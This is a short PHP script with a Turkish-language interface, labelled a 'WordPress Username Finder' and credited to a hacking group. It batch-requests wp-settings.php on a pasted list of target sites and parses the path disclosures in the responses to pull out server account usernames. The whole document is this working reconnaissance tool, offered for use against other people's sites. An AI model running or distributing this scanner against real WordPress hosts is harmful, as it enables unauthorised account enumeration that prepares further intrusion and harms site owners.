WordPress Username Finder

Code:

<?php
 
#wordpress username finder script
#coded by kicker
#special thx burtay.org
#s-labz.net

error_reporting(0);
echo '<center>
  <h1>WordPress Username Finder</h1>
  <b>Coded by kicker | Special thx Burtay</b><br><br>
  <img src="http://www.s-labz.net/images/sl.png">
   <form action="" method="post">
   <textarea name="site" rows="6" cols="40"></textarea>
   <br><br>
   Dizin ismini yazýnýz : <input type="text" name="dizin">
   <br><br>
   <input type="submit" value="Kullanýcý isimlerini çek!">
   </form>';
if ($_POST){
class wp
 {
  public function bagla($baglan)
  {
   $client = curl_init();
   curl_setopt ($client, CURLOPT_URL, $baglan);
   curl_setopt ($client, CURLOPT_RETURNTRANSFER, 1);
   $yansit = curl_exec($client);
   curl_close($client);
   return $yansit;  
  }
 }
 
 
$site = explode("\n",$_POST["site"]);
$dizin = "/".$_POST["dizin"]."/";
$class = new wp();
 
foreach ($site as $indis) {
 
 if(trim($indis)!= "")
 {
  $kaynak = $class-> bagla(trim($indis)."/wp-settings.php");
  if(eregi($dizin,$kaynak))
  {
   $ayir = explode($dizin,$kaynak);
   $ayir = explode("/",$ayir[1]);
   ob_flush();
   flush();
   echo "<b>Site : </b>".$indis." <b>Kullanýcý adý :</b> ".$ayir[0]."<br>";
  }
 }
 
}
}
?>

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